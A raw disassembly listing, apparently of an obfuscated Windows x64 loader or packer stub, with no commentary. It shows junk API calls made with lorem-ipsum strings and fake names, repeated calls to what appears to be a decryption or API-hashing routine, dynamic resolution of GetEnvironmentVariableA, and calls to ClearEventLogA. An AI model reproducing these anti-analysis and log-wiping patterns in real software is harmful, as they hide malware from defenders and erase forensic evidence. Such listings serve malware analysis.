mov rdx, qword [0x004cbcf0]
mov r8, qword [rsp + 0x70]
lea rcx, str.ClairLubowitz
mov dword [rdx], eax
mov rax, qword [0x004cc220]
mov edx, dword [rax]
mov rax, qword [0x004cc2f0]
mov dword [rax], edx
xor edx, edx
call r8
mov rax, qword [0x004cc190]
xor ecx, ecx
mov dword [rax], 0x7eb04522
call rbx
lea rdx, str.Quaerat_omnis_aut_consectetur_quis_tenetur_nam_hic
lea rcx, str.Quia_consequatur_deleniti_nisi_sequi_et_libero
call r13
mov ecx, 0xebe50aaf
call fcn.00413350
mov rdx, qword [0x004cbc00]
xor ecx, ecx
mov r9, qword [0x004cc3e0]
mov r15, qword [sym.imp.KERNEL32.dll_PurgeComm]
mov dword [rdx], eax
mov rax, qword [0x004cc3c0]
mov rdx, qword [0x004cc480]
mov dword [r9], 0x735557b8
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004cbc10]
xor ecx, ecx
lea rdx, str.Praesentium_praesentium_quia_iusto_quaerat_et_reiciendis
mov dword [rax], 0x8effffa5
mov rax, qword [rsp + 0x58]
call rax
mov r8, qword [rsp + 0x70]
xor edx, edx
lea rcx, str.LavernCorwinV
call r8
mov rax, qword [0x004cbc30]
mov rdx, qword [0x004cc100]
lea rcx, str.LempiLittelPhD
mov dword [rax], 0x7e97949e
mov rax, qword [0x004cc120]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r14
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
call r15
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor ecx, ecx
call r12
lea rdx, str.Nihil_ea_voluptatem_consequatur_omnis_odit_vel_dolorem_eius_ut_quas
lea rcx, str.Facere_architecto_similique_dolorem
call r13
mov r10, qword [rsp + 0x78]
xor ecx, ecx
call r10
xor ecx, ecx
call rbp
xor ecx, ecx
call rbp
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov ecx, 0x2637f15a
call fcn.00413350
mov rdx, qword [0x004cc090]
xor ecx, ecx
mov dword [rdx], eax
call rbx
xor ecx, ecx
call rdi
mov rdi, qword [0x004cc3a0]
xor edx, edx
xor ecx, ecx
lea r8, str.LaviniaTurner
mov rax, qword [rsp + 0x60]
mov dword [rdi], 0xbb38a8a8
call rax
mov rax, qword [0x004cc450]
xor edx, edx
xor ecx, ecx
mov dword [rdi], 0xec0d3f6a
mov dword [rax], 0x66889cca
mov rax, qword [rsp + 0x68]
call rax
mov rdi, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
call rdi
mov rax, qword [0x004cbbe0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc400]
mov ecx, 0xa3889809
mov dword [rdx], eax
mov rax, qword [0x004cc480]
mov edx, dword [rax]
mov rax, qword [0x004cbe20]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cc1f0]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov rax, qword [0x004cbc00]
xor ecx, ecx
mov dword [rax], 0x148f506b
call rbx
xor ecx, ecx
call rsi
xor ecx, ecx
call r12
xor ecx, ecx
call rdi
mov ecx, 0xb888f6a9
call fcn.00413350
mov rdx, qword [0x004cc200]
mov ecx, 0x3a934be7
mov dword [rdx], eax
mov rax, qword [0x004cc0c0]
mov dword [rax], 0x159addfe
call fcn.00413350
mov rsi, qword [0x004cc190]
mov dword [rsi], eax
mov rax, qword [0x004cbc40]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cc440]
mov ecx, 0x52764c7e
mov dword [rsi], eax
call fcn.00413350
mov rdx, qword [0x004cbcc0]
lea rcx, str.Voluptatem_consequatur_vero_numquam_dicta_vero_libero
mov r11, qword [rsp + 0x80]
mov dword [rdx], eax
lea rdx, str.Fuga_doloremque_sit_aut_omnis_autem_dolor
call r11
mov rax, qword [0x004cbcf0]
mov rsi, qword [0x004cbec0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc2c0]
mov dword [rax], edx
mov rax, qword [0x004cbde0]
xor edx, edx
mov eax, dword [rax]
mov dword [rsi], eax
call r15
lea rdx, [rsp + 0xd8]
xor eax, eax
mov ecx, 0x1a
mov rdi, rdx
rep stosd dword [rdi], eax
mov rax, qword [0x004cc250]
cmp dword [rax], 0x1fee
jne 0x408065
mov rbx, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Pariatur_recusandae_qui_omnis_ut_illo
lea rcx, str.Et_error_eius_consequatur_hic
call rbx
mov rax, qword [0x004cbcd0]
mov r14, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.Itaque_dolorum_pariatur_quibusdam
mov dword [rax], 0x39a03c09
mov rax, qword [0x004cc320]
mov dword [rax], 0xe527e004
mov rax, qword [0x004cbde0]
mov dword [rax], 0x25815334
call r14
mov rax, qword [0x004cc330]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cbc90]
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov dword [rsi], eax
mov rax, qword [0x004cbca0]
mov edx, dword [rax]
mov rax, qword [0x004cc1a0]
mov dword [rax], edx
call rdi
mov rax, qword [0x004cc0b0]
mov ecx, 0x690579fa
mov dword [rax], 0xdf5258b2
call fcn.00413350
mov rsi, qword [0x004cbd10]
mov ecx, 0x9bb43671
mov dword [rsi], eax
call fcn.00413350
mov rsi, qword [0x004cc420]
mov ecx, eax
mov dword [rsi], eax
call fcn.00413350
mov r12, qword [0x004cbdc0]
mov rbp, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [r12], eax
call rbp
lea rdx, str.Quo_velit_illo_quia_magni
lea rcx, str.Omnis_molestiae_ut_ipsum_ea
mov dword [r12], 0xa7a611ba
call rbx
mov ecx, dword [rsi]
call fcn.00413350
mov rsi, qword [0x004cc050]
mov ecx, 0x51a0c7f9
mov dword [rsi], eax
mov rax, qword [0x004cc400]
mov edx, dword [rax]
mov rax, qword [0x004cc2c0]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cbd10]
mov r12, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
mov r13, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
call r13
mov ecx, 0x75593b9c
call fcn.00413350
mov rdx, qword [0x004cc140]
mov dword [rdx], eax
mov rax, qword [0x004cc180]
mov eax, dword [rax]
mov dword [rsi], eax
mov rsi, qword [0x004cc460]
mov ecx, dword [rsi]
call fcn.00413350
mov rdx, qword [0x004cc120]
lea rcx, str.Sit_maxime_expedita_et_voluptatem_repellat_voluptas
mov dword [rdx], eax
mov rax, qword [0x004cc130]
mov edx, dword [rax]
mov rax, qword [0x004cc2b0]
mov dword [rax], edx
mov rax, qword [0x004cbde0]
xor edx, edx
mov dword [rax], 0x170a8f5d
call r14
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov r15, qword [0x004cbcc0]
mov ecx, 0x187be7c4
mov rdx, qword [0x004cbee0]
mov eax, dword [r15]
mov dword [rdx], eax
call fcn.00413350
mov r10, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov rdx, qword [0x004cbd60]
xor ecx, ecx
mov qword [rsp + 0x68], r10
mov dword [rdx], eax
xor edx, edx
call r10
mov ecx, 0xda62aff
call fcn.00413350
mov r9, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rdx, qword [0x004cbc40]
lea rcx, str.ProfLilianeMedhurst
mov qword [rsp + 0x60], r9
mov dword [rdx], eax
xor edx, edx
call r9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor edx, edx
lea rcx, str.Quia_dolorem_dolores_consequatur_in
call r14
mov ecx, dword [r15]
call fcn.00413350
mov r14, qword [0x004cbdf0]
xor edx, edx
xor ecx, ecx
mov dword [r14], eax
mov rax, qword [0x004cc060]
mov eax, dword [rax]
mov dword [rsi], eax
call r12
mov rax, qword [0x004cc160]
mov r12, qword [0x004cc3a0]
lea rdx, str.LewisMiller
lea rcx, str.HilmaSchuster
mov eax, dword [rax]
mov dword [r12], eax
call rbx
mov rax, qword [0x004cbc60]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cbc80]
lea rdx, str.DejahWeissnatV
lea rcx, str.Nihil_quas_quod_quod_sit_rerum_neque
mov dword [rsi], eax
call rbx
mov ecx, 0x584ad56f
call fcn.00413350
mov rdx, qword [0x004cbd20]
lea r8, str.Quam_quia_dicta_soluta_iste_ut_earum
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov ecx, 0x4ac9e569
call fcn.00413350
mov r15, qword [0x004cc310]
mov dword [r14], eax
mov ecx, dword [r15]
call fcn.00413350
mov rdx, qword [0x004cc100]
lea rcx, str.JaceDicki
mov dword [rdx], eax
mov rax, qword [0x004cbcd0]
lea rdx, str.KelvinRuecker
mov dword [rax], 0x68562c49
call rbx
mov rax, qword [0x004cbd90]
mov ecx, dword [rax]
call fcn.00413350
mov rsi, qword [0x004cbbf0]
xor ecx, ecx
mov dword [rsi], eax
call r13
mov rsi, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov r8, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x58], r8
call r8
mov rax, qword [0x004cc4b0]
mov ecx, 0xc8c8a1b8
mov dword [rax], 0x298a5a8f
mov rax, qword [0x004cbc70]
mov dword [rax], 0x7d175ce3
call fcn.00413350
mov rdx, qword [0x004cbc60]
mov ecx, 0xcf2c45f2
mov r11, qword [0x004cc380]
mov dword [rdx], eax
mov rax, qword [0x004cbe40]
mov edx, dword [rax]
mov rax, qword [0x004cc4a0]
mov dword [rax], edx
mov eax, dword [r11]
mov dword [r15], eax
call fcn.00413350
mov rdx, qword [0x004cc190]
xor ecx, ecx
mov dword [rdx], eax
call rsi
xor ecx, ecx
call rbp
xor edx, edx
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
call r15
mov eax, dword [r14]
mov rdx, qword [0x004cbc90]
xor ecx, ecx
mov r10, qword [rsp + 0x68]
mov dword [rdx], eax
xor edx, edx
call r10
mov rax, qword [0x004cbbf0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbce0]
mov r14, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor edx, edx
xor ecx, ecx
call r15
mov r11, qword [0x004cc380]
mov ecx, 0xac4d760f
mov dword [r11], 0xe7a8f883
call fcn.00413350
mov rdx, qword [0x004cc1f0]
lea rcx, str.Ullam_cumque_accusamus_aut_animi_ea
mov dword [rdx], eax
mov rax, qword [0x004cbde0]
lea rdx, str.DrAltaShanahan
mov dword [rax], 0x551aea0b
call rbx
mov rax, qword [0x004cbed0]
lea rdx, str.Veritatis_libero_sit_odit_quae_sed_tenetur_consectetur_numquam_sunt_repellendus
lea rcx, str.MsVivianHahnPhD
mov eax, dword [rax]
mov dword [r12], eax
call rbx
xor ecx, ecx
call r13
xor ecx, ecx
call r14
mov ecx, 0x112d79ef
call fcn.00413350
mov rdx, qword [0x004cbd00]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov r13, qword [0x004cbe30]
mov ecx, 0x6685ced0
mov dword [r13], 0xee13bc06
call fcn.00413350
xor ecx, ecx
mov dword [r12], eax
call rbp
mov r12, qword [0x004cc150]
mov rbp, qword [0x004cc1b0]
xor ecx, ecx
mov eax, dword [r12]
mov dword [rbp], eax
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [0x004cc190]
xor ecx, ecx
mov dword [rax], 0x2b90b5f5
mov rax, qword [0x004cc3d0]
mov dword [rax], 0x1b88691f
call r14
lea rdx, str.MrCieloDickensSr
lea rcx, str.Voluptas_qui_natus_dicta_animi_occaecati
call rbx
xor edx, edx
mov r9, qword [rsp + 0x60]
lea rcx, str.SanfordWillmsIII
call r9
mov rax, qword [0x004cc440]
mov ecx, 0xb7568414
mov dword [rax], 0xbea68196
call fcn.00413350
mov rbx, qword [0x004cc120]
mov ecx, 0xc27f1709
mov dword [rbx], eax
call fcn.00413350
mov rdx, qword [0x004cc1c0]
mov dword [rdx], eax
mov rax, qword [0x004cc3b0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbda0]
mov r8, qword [rsp + 0x58]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r8
mov r14, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.LawrenceMcCulloughMD
lea rcx, str.Rerum_ipsa_rem_quam_itaque
call r14
xor r8d, r8d
mov rbx, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor edx, edx
xor ecx, ecx
call rbx
lea rdx, str.Veritatis_fugiat_totam_recusandae_laborum_voluptatum_et_quia
lea rcx, str.Nihil_quam_nulla_omnis_iusto_aperiam_repellat_totam_ut_nobis_qui
call r14
mov rax, qword [0x004cbee0]
mov rdx, qword [0x004cc060]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rdi
mov edx, dword [rbp]
mov rax, qword [0x004cbec0]
xor r8d, r8d
xor ecx, ecx
mov dword [rax], edx
mov rax, qword [0x004cbd10]
xor edx, edx
mov dword [rax], 0x87411511
call rbx
mov eax, dword [r13]
mov rbx, qword [0x004cc180]
xor ecx, ecx
mov dword [rbx], eax
call rdi
mov ecx, 0x3c1f8ef4
call fcn.00413350
mov dword [r12], eax
mov rax, qword [0x004cc1d0]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cbd60]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004cc1e0]
mov edx, dword [rax]
mov rax, qword [0x004cc410]
mov dword [rax], edx
mov rax, qword [0x004cbc60]
mov edx, dword [rax]
mov rax, qword [0x004cbea0]
mov dword [rax], edx
call rsi
mov ecx, 0x26db2d25
call fcn.00413350
mov rdi, qword [0x004cbbf0]
mov dword [rdi], eax
mov rax, qword [0x004cbc80]
mov dword [rax], 0x83802ccb
mov rax, qword [0x004cbdd0]
mov dword [rax], 0xe732dfd4
lea rdx, [rsp + 0xc0]
xor eax, eax
mov ecx, 6
mov dword [rsp + 0xd8], 0x68
mov rdi, rdx
rep stosd dword [rdi], eax
mov rax, qword [0x004cc250]
cmp dword [rax], 0xc9d
jle 0x408582
mov ecx, 0x361ef1ec
call fcn.00413350
mov rdi, qword [0x004cc3a0]
xor ecx, ecx
mov r8, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
mov r13, qword [0x004cc390]
lea rdx, str.DavontePriceV
mov dword [rdi], eax
mov rax, qword [0x004cc180]
mov qword [rsp + 0x70], r8
mov eax, dword [rax]
mov dword [r13], eax
call r8
xor ecx, ecx
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
call r15
mov ecx, 0x481478b
call fcn.00413350
mov r9, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
mov rbx, qword [0x004cc0c0]
mov qword [rsp + 0x60], r9
mov dword [rbx], eax
call r9
mov rbx, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call r14
mov rax, qword [0x004cbcb0]
xor edx, edx
mov rbp, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.Necessitatibus_rerum_minima_non_maxime_accusantium_sunt
mov dword [rax], 0xe5f76210
call rbp
mov rax, qword [0x004cc2c0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc370]
mov dword [rdx], eax
mov rax, qword [0x004cc430]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc300]
mov rsi, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
lea rcx, str.Assumenda_accusamus_molestiae
mov dword [rdx], eax
mov rax, qword [0x004cc080]
xor edx, edx
mov dword [rax], 0xea2de6b6
call rsi
mov rax, qword [0x004cc160]
mov rdi, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc060]
mov dword [rax], edx
mov rax, qword [0x004cbcc0]
mov edx, dword [rax]
mov rax, qword [0x004cc420]
mov dword [rax], edx
call rdi
mov ecx, 0x6257f188
call fcn.00413350
mov r12, qword [0x004cbc30]
xor ecx, ecx
mov dword [r12], eax
call rdi
mov rax, qword [0x004cbc40]
mov ecx, 0xa92db618
mov dword [rax], 0x66da039f
call fcn.00413350
xor ecx, ecx
mov dword [r12], eax
call rdi
mov rax, qword [0x004cc350]
mov ecx, 0x45241ddb
mov dword [rax], 0x4034b50e
call fcn.00413350
mov rdx, qword [0x004cbe70]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov r10, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
mov qword [rsp + 0x58], r10
call r10
mov rax, qword [str._mf]
mov rdi, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
mov dword [rax], 0x112c4be4
call rdi
xor edx, edx
lea rcx, str.Iste_repellendus_adipisci_sapiente_eos_sit_repellendus
call rsi
xor edx, edx
lea rcx, str.NicolaMurphy
call rbp
mov r12, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.Sequi_consequatur_ab_numquam_deserunt_alias_quia_qui_et_numquam
lea rcx, str.In_inventore_consequatur_est_itaque_non_cumque_est
call r12
mov rax, qword [0x004cc1f0]
mov rdx, qword [0x004cbd60]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cc320]
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [0x004cbee0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc130]
mov dword [rdx], eax
mov rax, qword [0x004cc3e0]
mov ecx, dword [rax]
call fcn.00413350
mov r11, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rdx, qword [0x004cc240]
xor ecx, ecx
mov qword [rsp + 0x68], r11
mov dword [rdx], eax
xor edx, edx
call r11
mov rax, qword [0x004cbdc0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbcd0]
mov r9, qword [rsp + 0x60]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r9
mov ecx, 0x2d11042b
call fcn.00413350
mov rdx, qword [0x004cbe60]
mov r13, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov rax, qword [0x004cbc10]
mov ecx, 0xe17ecfd7
mov dword [rax], 0x51396b2b
mov rax, qword [0x004cc140]
mov dword [rax], 0x7c9a4b3d
call fcn.00413350
mov rdx, qword [0x004cbe90]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov r13, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.ChayaCrist
lea rcx, str.Aliquam_iusto_cupiditate_quos_itaque
call r13
mov rax, qword [0x004cbda0]
mov edx, dword [rax]
mov rax, qword [0x004cc340]
mov dword [rax], edx
mov rax, qword [0x004cbd80]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbd10]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov rax, qword [0x004cbed0]
mov ecx, 0x1d429c5b
mov dword [rax], 0x853e3aff
mov rax, qword [0x004cc3f0]
mov edx, dword [rax]
mov rax, qword [0x004cbd70]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cc4d0]
mov r10, qword [rsp + 0x58]
xor ecx, ecx
mov dword [rdx], eax
call r10
mov r9, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor ecx, ecx
mov rax, qword [0x004cbd60]
mov qword [rsp + 0x58], r9
mov dword [rax], 0x7746cc23
call r9
xor edx, edx
xor ecx, ecx
call rbx
mov r9, qword [rsp + 0x58]
xor edx, edx
xor ecx, ecx
call r9
mov rax, qword [0x004cc0c0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc470]
lea rcx, str.Eos_tempore_non_possimus
mov dword [rdx], eax
xor edx, edx
call rsi
mov ecx, 0x1fb1fe76
call fcn.00413350
mov rdx, qword [0x004cbbd0]
mov r8, qword [rsp + 0x70]
xor ecx, ecx
mov dword [rdx], eax
lea rdx, str.JanyRodriguez
call r8
mov r10, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
mov qword [rsp + 0x60], r10
call r10
mov ecx, 0x74d38abe
call fcn.00413350
mov r9, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
mov rdx, qword [0x004cc380]
xor ecx, ecx
mov qword [rsp + 0x58], r9
mov dword [rdx], eax
call r9
mov r11, qword [rsp + 0x68]
xor edx, edx
xor ecx, ecx
call r11
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
mov r10, qword [rsp + 0x60]
xor ecx, ecx
call r10
xor ecx, ecx
call r15
xor ecx, ecx
call rdi
mov ecx, 0x5a848a35
call fcn.00413350
mov rdx, qword [0x004cbd50]
xor ecx, ecx
mov dword [rdx], eax
call r14
xor edx, edx
lea rcx, str.Atque_dignissimos_fugit_quas_voluptate_at_aut_est
call rbp
mov rax, qword [0x004cc130]
mov ecx, 0x17a6901a
mov dword [rax], 0xd78dc40
call fcn.00413350
mov rdi, qword [0x004cbec0]
mov ecx, 0x8ba9ca82
mov dword [rdi], eax
call fcn.00413350
mov rdx, qword [0x004cc160]
lea rcx, str.Perferendis_autem_rerum_explicabo_quis
mov dword [rdx], eax
lea rdx, str.Perferendis_expedita_dolorum_veritatis_sint
call r13
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.IgnatiusDenesikII
lea rcx, str.MissKacieWalkerIV
call r12
mov rax, qword [0x004cc1a0]
xor edx, edx
lea rcx, str.LavonWiegand
mov dword [rax], 0xf2e04b16
call rsi
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cc3a0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc400]
mov dword [rax], edx
mov rax, qword [0x004cbd10]
mov edx, dword [rax]
mov rax, qword [0x004cbd30]
mov dword [rax], edx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov r9, qword [rsp + 0x58]
xor ecx, ecx
call r9
xor edx, edx
xor ecx, ecx
call rbx
mov edx, dword [rdi]
mov rax, qword [0x004cbc20]
mov dword [rax], edx
lea rdx, str.GetEnvironmentVariableA
lea rcx, [0x004bf276]
call fcn.0040fab1
lea rdx, [rsp + 0x140]
mov r8d, 0x400
lea rcx, str.windir
call rax
mov rax, qword [0x004cc250]
cmp dword [rax], 0
je 0x408ca9
mov rdi, qword [0x004cc4d0]
mov rax, qword [0x004cc1f0]
xor ecx, ecx
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov edx, dword [rdi]
mov dword [rax], edx
mov rax, qword [0x004cbec0]
mov dword [rax], 0xbd94c056
call r12
mov rsi, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
lea rcx, str.Sunt_delectus_qui_quibusdam_molestiae_earum_nemo_nemo
call rsi
mov r14, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
call r14
mov rax, qword [0x004cbe30]
mov rbx, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.IsadoreHagenes
lea rcx, str.Qui_porro_et_eius_qui_nisi_aspernatur_et
mov dword [rax], 0xe3648918
call rbx
mov rax, qword [0x004cbca0]
mov r13, qword [0x004cbdf0]
lea rcx, str.Rerum_quia_placeat_error_sit
mov edx, dword [rax]
mov rax, qword [0x004cbba0]
mov dword [r13], 0x58228a40
mov dword [rax], edx
xor edx, edx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
xor ecx, ecx
call r14
mov rbp, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004cc1b0]
xor edx, edx
lea rcx, str.Consequatur_sunt_aut_iste_et_quasi_quasi
mov dword [rax], 0x4f257b66
mov rax, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov qword [rsp + 0x60], rax
call rax
mov r15, qword [0x004cc3d0]
mov eax, dword [r13]
mov ecx, 0xae36bea2
mov dword [r15], eax
mov rax, qword [0x004cbd20]
mov edx, dword [rax]
mov rax, qword [0x004cbbe0]
mov dword [rax], edx
mov rax, qword [0x004cc060]
mov edx, dword [rax]
mov rax, qword [0x004cc3a0]
mov dword [rax], edx
mov rax, qword [0x004cbe70]
mov rdx, qword [0x004cc200]
mov eax, dword [rax]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbed0]
xor ecx, ecx
mov dword [rdi], 0x1f36aaac
mov dword [rdx], eax
mov rax, qword [0x004cbd80]
mov dword [rax], 0xf100635a
mov rax, qword [0x004cbdb0]
mov edx, dword [rax]
mov rax, qword [0x004cc220]
mov dword [rax], edx
mov rax, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov qword [rsp + 0x70], rax
call rax
mov r13, qword [0x004cc490]
mov rax, qword [0x004cc4a0]
mov ecx, 0xd75765ef
mov rdi, qword [0x004cc0d0]
mov edx, dword [r13]
mov dword [rax], edx
mov rax, qword [0x004cc350]
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [0x004cc100]
mov eax, dword [rax]
mov dword [rdi], eax
call fcn.00413350
mov rdx, qword [0x004cbc80]
mov ecx, 0x40d65759
mov dword [rdx], eax
mov rax, qword [0x004cbcb0]
mov dword [rax], 0x3d2be45e
call fcn.00413350
mov rdi, qword [0x004cc3e0]
mov r9, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [0x004cbc30]
mov qword [rsp + 0x78], r9
mov edx, dword [rax]
mov rax, qword [0x004cbc40]
mov dword [rax], edx
xor edx, edx
call r9
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov rax, qword [0x004cbe30]
mov r10, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc460]
mov qword [rsp + 0x68], r10
mov dword [rax], edx
call r10
mov ecx, 0x1adaee7e
call fcn.00413350
mov r10, qword [rsp + 0x68]
mov rdx, qword [0x004cbe40]
xor ecx, ecx
mov qword [rsp + 0x88], r10
mov dword [rdx], eax
call r10
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
mov qword [rsp + 0x68], rax
call rax
mov rax, qword [0x004cc200]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x92a738e5
call qword [sym.imp.KERNEL32.dll_PurgeComm]
mov rax, qword [0x004cbe50]
xor ecx, ecx
mov dword [rax], 0x714e9b1f
mov rax, qword [0x004cbd60]
mov dword [rax], 0x688a15b9
call r12
mov r9, qword [rsp + 0x78]
xor edx, edx
xor ecx, ecx
mov rax, qword [0x004cc2b0]
mov dword [r15], 0x338dbd
mov qword [rsp + 0x80], r9
mov dword [rax], 0xda00232
call r9
mov r11, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x78], r11
call r11
mov rdi, qword [0x004cbc20]
xor edx, edx
xor ecx, ecx
mov rax, qword [0x004cc240]
mov dword [rdi], 0x81bc6a9a
mov dword [rax], 0x2672d7e2
call rbp
xor edx, edx
lea rcx, str.Deserunt_repellendus_molestiae_ducimus_repellat
call rsi
mov rax, qword [0x004cc450]
mov rdx, qword [0x004cbe70]
lea rcx, str.AshlyKreiger
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbe00]
mov rdx, qword [0x004cc0d0]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call rsi
xor ecx, ecx
mov dword [rdi], 0xf1bc7877
call r12
lea rdx, str.Rerum_ipsa_incidunt_non_iure_excepturi_et_optio_eligendi_eligendi
mov r15, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
call r15
mov rax, qword [0x004cc480]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cc440]
mov ecx, dword [r13]
mov dword [rdi], eax
call fcn.00413350
mov rdx, qword [0x004cbc10]
mov rdi, qword [0x004cc420]
mov dword [rdx], eax
mov rax, qword [0x004cc3b0]
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004cbda0]
mov ecx, dword [rax]
call fcn.00413350
mov rdi, qword [0x004cbd40]
lea rdx, str.EmmaWatsica
lea rcx, str.TristinSawayn
mov dword [rdi], eax
mov rax, qword [0x004cc100]
mov rdi, qword [0x004cc120]
mov eax, dword [rax]
mov dword [rdi], eax
call rbx
